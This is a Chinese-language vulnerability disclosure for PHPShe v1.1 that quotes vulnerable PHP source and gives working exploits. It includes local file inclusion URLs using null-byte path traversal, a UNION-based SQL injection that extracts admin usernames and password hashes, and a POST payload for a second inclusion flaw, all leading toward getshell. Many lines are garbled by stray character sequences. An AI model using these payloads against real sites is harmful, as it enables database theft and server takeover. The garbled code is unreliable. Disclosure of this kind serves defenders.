phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
  f: _6 S. a0 X9 {$ I6 L% `7 i/* Phpshe v1.1 Vulnerability
) s( @5 t% A. H  F/* ========================
/* By: : Kn1f3
( I% v% a' ?3 U2 _& ^% x7 w/* E-Mail : 681796@qq.com
/*******************************************************/
4 v: F! ?9 b* F# K! h+ M0 n0×00 整体大概参数传输

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2 o: [% V% J% r//common.php
if (get_magic_quotes_gpc()) {
9 D( G4 [+ J% o4 c!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- J6 H; Y) Z. u  }- j!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
3 v) N' T- Q; R+ K4 G+ t}
) b! V5 o/ i: z1 A: d" ielse {
1 M3 v  B$ \5 f# t!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
* h; t# t& v. d/ @) W( N* T!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
8 ~& b# b* s8 U}
8 e) f1 W/ T  v, p& ?+ qsession_start();
2 z5 S) `) b- [1 x!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
8 N9 [; j0 O/ K, j) i/ [!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
  U% n9 D0 c, `, P4 pinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' V' H9 r: ?8 V4 E+ P' K( dpe_result();
. C6 S- s5 A7 e  J?>
; R# d# U9 e7 Y$ R4 N//common 文件 第15行开始
url路由配置
/ G, u9 G& `% ~4 ?2 `1 z* n$module = $mod = $act = 'index';
8 f, H' a; S- _7 M$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
( e- i8 C2 [- T. z* C$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
6 V, w1 x" ~. k# u( C  ?$ h4 u* N//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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' y) [: Q; I6 ^- H3 J9 K  ]
. F  X9 p+ V1 L$ O% C9 d( n) J8 d 0×02 搜索注入
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6 C: b* v/ j) @. G' X3 k<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
0 H/ K- R) [, w+ P  x8 Vpe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
- c' z$ S- |9 K) e' h( E$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
& K. B2 r1 z6 k4 d7 k8 \! r$orderby = explode('_', $_g_orderby);
( y& s# v' g0 r$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
8 I0 q7 p; v. s2 h}
+ m" _- `1 V4 _4 e# R1 G9 x$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
% Y) a: A6 }+ {9 c1 a- U//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 T/ S/ j6 |# W$ Q6 _1 k6 S+ b{
5 s' d% x7 M  u, f! O- Y//处理条件语句
9 T* `* P; W$ p$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
$ b; Z( q7 B& i6 }, t, J3 q//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2
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- K& {/ V# u" Y$ f<code id="code3">

//order.php

case 'pay':

  C* q, s& }7 f: o3 g  O5 R  @$order_id = pe_dbhold($_g_id);

0 O& w, s2 B- z; }$ r$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

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! l2 u! H: D1 V5 {% S$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

6 L7 j4 F7 c/ [" B1 nif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

2 Z  O8 Q9 C# e/ n  U  ~; A$order['order_name'] .= "{$v['product_name']};";
" q$ v. ]! D; {4 H

) L  Y- x4 d6 _' G7 c4 H6 v}

* ~4 ]) r" ?. f3 j9 N$ J( Y  b# gecho '正在为您连接支付网站，请稍后...';

. Y9 R+ V# g. i1 Ginclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

% c2 `0 S% Q- H+ t( Q}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

+ D0 b1 K' h7 |, D" M  Q. g! s$ Kpe_error('支付错误...');

}

3 a0 v; K3 G% d; f% d$ e}

; M, w6 h" R: \- y* X5 Q$seo = pe_seo('选择支付方式');

  g% ~2 \0 e+ _) tinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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